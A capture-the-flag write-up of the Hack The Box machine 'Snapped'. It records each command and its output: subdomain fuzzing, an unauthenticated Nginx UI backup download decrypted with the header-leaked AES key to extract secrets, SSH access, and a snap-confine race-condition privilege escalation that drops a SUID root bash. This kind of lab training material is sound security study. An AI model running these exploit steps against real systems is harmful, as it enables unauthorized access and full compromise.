HTB – Snapped
Initial Enumeration
After getting the target ip address, the first step was to perform an Nmap scan to identify open ports and services:
nmap -sC -sV -A -p- -O --min-rate=1000 10.129.42.237
Scan Results:
Starting Nmap 7.95 at 2026-04-28 02:15 EDT
Nmap scan report for 10.129.42.237
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Web Enumeration & Subdomain Discovery
Navigating to http://10.129.42.237 revealed a redirect to http://snapped.htb. The domain was added to /etc/hosts:
echo "10.129.42.237 snapped.htb" | tee -a /etc/hosts
Initial browsing of snapped.htb didn’t revealed anything juicy, so subdomain fuzzing was performed:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt \
-u http://snapped.htb -H "HOST: FUZZ.snapped.htb" -mc 200
Discovery:
admin [Status: 200, Size: 1407, Words: 164, Lines: 50]
The subdomain admin.snapped.htb was added to /etc/hosts and accessed, revealing an Nginx UI dashboard.
Exploiting CVE-2026-27944 (Nginx UI)
Research into Nginx UI vulnerabilities revealed:
Critical Vulnerabilities (2026):
- CVE-2026-33032 (MCPwn Authentication Bypass - CVSS 9.8)
- The
/mcp_messageendpoint fails to enforce authentication - Allows unauthenticated attackers to manage Nginx and execute commands
- The
- CVE-2026-27944 (Unauthenticated Backup Download - CVSS 9.8)
- Versions before 2.3.3 allow unauthenticated backup access
- AES-256 encryption key and IV disclosed in
X-Backup-Securityheader - Enables decryption of credentials, SSL keys, and configs
- CVE-2026-33026 (Backup Tampering & Injection)
- Fixed in 2.3.4, allows malicious config injection
Exploiting the Backup Vulnerability
Accessing http://admin.snapped.htb/api/backup downloaded a ZIP file:
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ file backup-20260428-022136.zip
backup-20260428-022136.zip: Zip archive data
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ unzip backup-20260428-022136.zip
Archive: backup-20260428-022136.zip
inflating: hash_info.txt
inflating: nginx-ui.zip
inflating: nginx.zip
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ cat hash_info.txt
�)+��ƺ�c��MfL�U98�5�5Ԕ��G�c�]F�Ujr'���|�!
%&��(���x �9t5�Q�]_>��(@��B��k���c��7�2_O��#��\�����>�c{�Q�����ڄ�>l�����ƝT7/�}��X��uC��(
�A(�K�/��
��
ց��0QS�軭��
its encrypted
The X-Backup-Security header contained the encryption key and IV:
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb]
└─$ curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 | grep -i "X-Backup-Security"
< X-Backup-Security: 4kaig8RUr+4NSvfJ6Of3bj6W7nP9VwYP9IjZGSiGCto=:wevqrDQJpKHXzrJSr+taQg==
Decrypting the Backup
Using a public exploit for CVE-2026-27944:
https://github.com/Skynoxk/CVE-2026-27944
┌──(kali㉿blackXploit)-[~/Downloads/snappedhtb/CVE-2026-27944-POC]
└─$ python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --show-secrets
======================================================================
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access
======================================================================
[*] Downloading backup from http://admin.snapped.htb/api/backup
[+] Backup downloaded successfully (18306 bytes)
[+] Saved to: backup.bin
[*] X-Backup-Security header: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=:ZMpW3hraTFvZc/EF6Rr+jw==
[+] Parsed AES-256 key: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE=
[+] Parsed AES IV : ZMpW3hraTFvZc/EF6Rr+jw==
[+] Key length: 32 bytes (AES-256 ✓)
[+] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
→ Extracted 22 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 4ad8655192ed5ee220cb820d46db34c1049c37ef4a7ddc5482010620976e72bb
nginx_hash: 2f0263bd95d62226c216fff4bc222711b713e9b4a993207dc8695137c536af09
timestamp: 20260428-024653
version: 2.3.2
[*] Extracting secrets from backup_extracted/nginx-ui/app.ini
[+] Secrets extracted:
JWT Secret : 6c4af436-035a-4942-9ca6-172b36696ce9
Node Secret : c64d7ca1-19cb-4ebe-96d4-49037e7df78e
Crypto Secret : 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
Email : admin@test.htb
[*] Verifying Node Secret bypass...
[+] Node Secret verified! Admin API access confirmed
[+] Total users in system: 2
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ ls
app.ini database.db
┌──(kali㉿blackXploit)-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─$ pwd
/home/kali/Downloads/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui

SSH Access
After cracking the password for user jonathan:
┌──(kali㉿blackXploit)-[~/Downloads]
└─$ ssh jonathan@snapped.htb
The authenticity of host 'snapped.htb (10.129.42.237)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password:
Successful Login:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)
jonathan@snapped:~$ ls
Desktop Documents Downloads linpeas.sh Music Pictures Public snap Templates user.txt Videos
Privilege Escalation via CVE-2026-3888
Understanding the Vulnerability
CVE-2026-3888 is a local privilege escalation vulnerability in snap-confine and systemd-tmpfiles. Here’s how it works:
Step 1: The Regular Cleanup (The Trigger)
- Linux systems use
systemd-tmpfilesto delete old files in/tmpto save space - By default, it clears out files every few weeks
- The Flaw: When this service deletes
/tmp/.snap, it briefly leaves a “hole” where that folder used to be
Step 2: The Race Condition (The Timing)
- This is a TOCTOU (Time-of-Check to Time-of-Use) bug
- An attacker cannot delete the folder themselves (no permission), so they wait for the system to do it
- The Attack: The attacker runs a script that constantly watches that folder. The millisecond the system deletes it, the attacker’s script “races” to recreate a new version of that folder before the real snap service notices it’s gone
Step 3: The Bait-and-Switch
- Because the attacker created the new
/tmp/.snapfolder, they own it - They place a “trap” inside: a symbolic link pointing to a sensitive part of the system (like the root filesystem)
Step 4: The Elevation (The Payoff)
- Any snap app starting (or triggered by the attacker) causes
snap-confineto run snap-confinesees the folder is missing or needs resetting, so it prepares the sandbox- Because
snap-confineruns with Root privileges, it follows the attacker’s “shortcut” without realizing it’s a trap - It ends up mounting the attacker’s malicious files into a high-privilege area
- The Result: The attacker, who started as a normal user, now has a “backdoor” into the system’s core and becomes Root
System Information
jonathan@snapped:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
Executing the Exploit
The exploit was run against the Firefox snap:
how this exploit works ?
systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
Attacker recreates it with controlled content — all files owned by the attacker
Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
Attacker-owned libraries are mounted into the sandbox as root
ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
Executing SUID snap-confine triggers the shellcode with root privileges
SUID bash is dropped to /var/snap/firefox/common/ to escape the sandbox
jonathan@snapped:~/snap$ ./exploit ./librootshell.so -d
Exploit Output:
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/snap/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 65385
[Phase 2] Waiting for .snap deletion...
[*] --skip-wait: triggering cleanup...
[Phase 3] Race condition execution...
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 65882
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
Root Access Achieved
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# ls
Desktop Documents Downloads linpeas.sh Music Pictures Public snap Templates user.txt Videos
bash-5.1# cd /root
bash-5.1# ls
nginxui root.txt snap
bash-5.1# cat root.txt
redact
References
Thanks for reading ! happy hacking